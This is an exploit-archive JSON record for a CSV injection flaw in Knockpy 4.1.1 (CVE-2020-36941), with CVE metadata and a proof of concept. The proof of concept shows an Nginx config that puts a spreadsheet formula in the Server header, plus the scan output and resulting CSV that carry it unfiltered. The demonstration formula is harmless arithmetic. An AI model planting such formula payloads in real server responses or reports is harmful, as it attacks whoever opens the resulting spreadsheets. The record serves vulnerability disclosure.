{"exploit":{"id":"EDB-49342","name":"Knockpy 4.1.1 - CSV Injection","description":"Knockpy 4.1.1 - CSV Injection","cves":["CVE-2020-36941"],"author":"Dolev Farhi","published":"2021-01-04","platform":"python","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/49342","path":"exploits/python/local/49342.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-49342.txt","vulnerabilities":[{"id":"CVE-2020-36941","state":"PUBLISHED","title":"Knockpy 4.1.1 - CSV Injection","titleSource":"CVE Program","description":"Knockpy 4.1.1 contains a CSV injection vulnerability that allows attackers to inject malicious formulas into CSV reports through unfiltered server headers. Attackers can manipulate server response headers to include spreadsheet formulas that will execute when the CSV is opened in spreadsheet applications.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-36941","cvss":{"version":"4.0","baseScore":5.3,"severity":"medium","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2020-36941"},"updatedAt":"2026-03-05T01:27:00.501Z","retrievedAt":"2026-11-26T02:35:08.193Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-49342.png?v=2","url":"https://exploitbin.com/exploits/EDB-49342","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-49342/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-49342/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Knockpy 4.1.1 - CSV Injection\n# Author: Dolev Farhi\n# Date: 2020-12-29\n# Vendor Homepage: https://github.com/guelfoweb/knock\n# Version : 4.1.1\n# Tested on: Debian 9.13\n\nKnockpy, as part of its subdomain brute forcing flow of a remote domain, issues a HEAD request to the server to fetch details such as headers, status code, etc.\nThe data then gets reflected when issuing the -c flag to store as a CSV file with the Server HTTP Response Header unfiltered.\n\nVulnerable code segment(s)\n\n# knockpy.py\n\n# row = ip+'\\t'+str(data['status'])+'\\t'+'host'+'\\t'+str(data['hostname'])+get_tab(data['hostname'])+str(server_type)\n# subdomain_csv_list.append(ip+','+str(data['status'])+','+'host'+','+str(data['hostname'])+','+str(server_type))\n\n# modules/save_report.py\n\n# if fields:\n#  csv_report += 'ip,status,type,domain_name,server\\n'\n# for item in report:\n#  csv_report += item + '\\n'\n# report = csv_report\n\n\n1. Example malicious Nginx config to return CSV formula headers:\n\nhttp {\n...\n  server_tokens off;\n  more_set_headers 'Server: =1336+1';\n...\n}\n\n2. Tester runs Knoockpy\nroot@host:~/# python knockpy/knockpy.py -c test.local\n\n+ checking for virustotal subdomains: SKIP\n\tVirusTotal API_KEY not found\n+ checking for wildcard: NO\n+ checking for zonetransfer: NO\n+ resolving target: YES\n- scanning for subdomain...\n\nIp Address\tStatus\tType\tDomain Name\t\t\tServer\n----------\t------\t----\t-----------\t\t\t------\n127.0.0.1       200     host    appserver.test.local\t\t=1336+1\n\n\nCSV result\n\nroot@host:~/# cat test_local.csv\n127.0.0.1,200,host,appserver.test.local,=1336+1\n127.0.0.1,200,host,www.test.local,=1336+1","sha256":"f32d8429f2d0db5c768b8e65784d8d845891fce0ea803a9abd75670853a1720e","bytes":1612,"fetchedAt":"2026-11-26T15:09:59.055Z","encoding":"utf-8 (display only; download retains original bytes)"}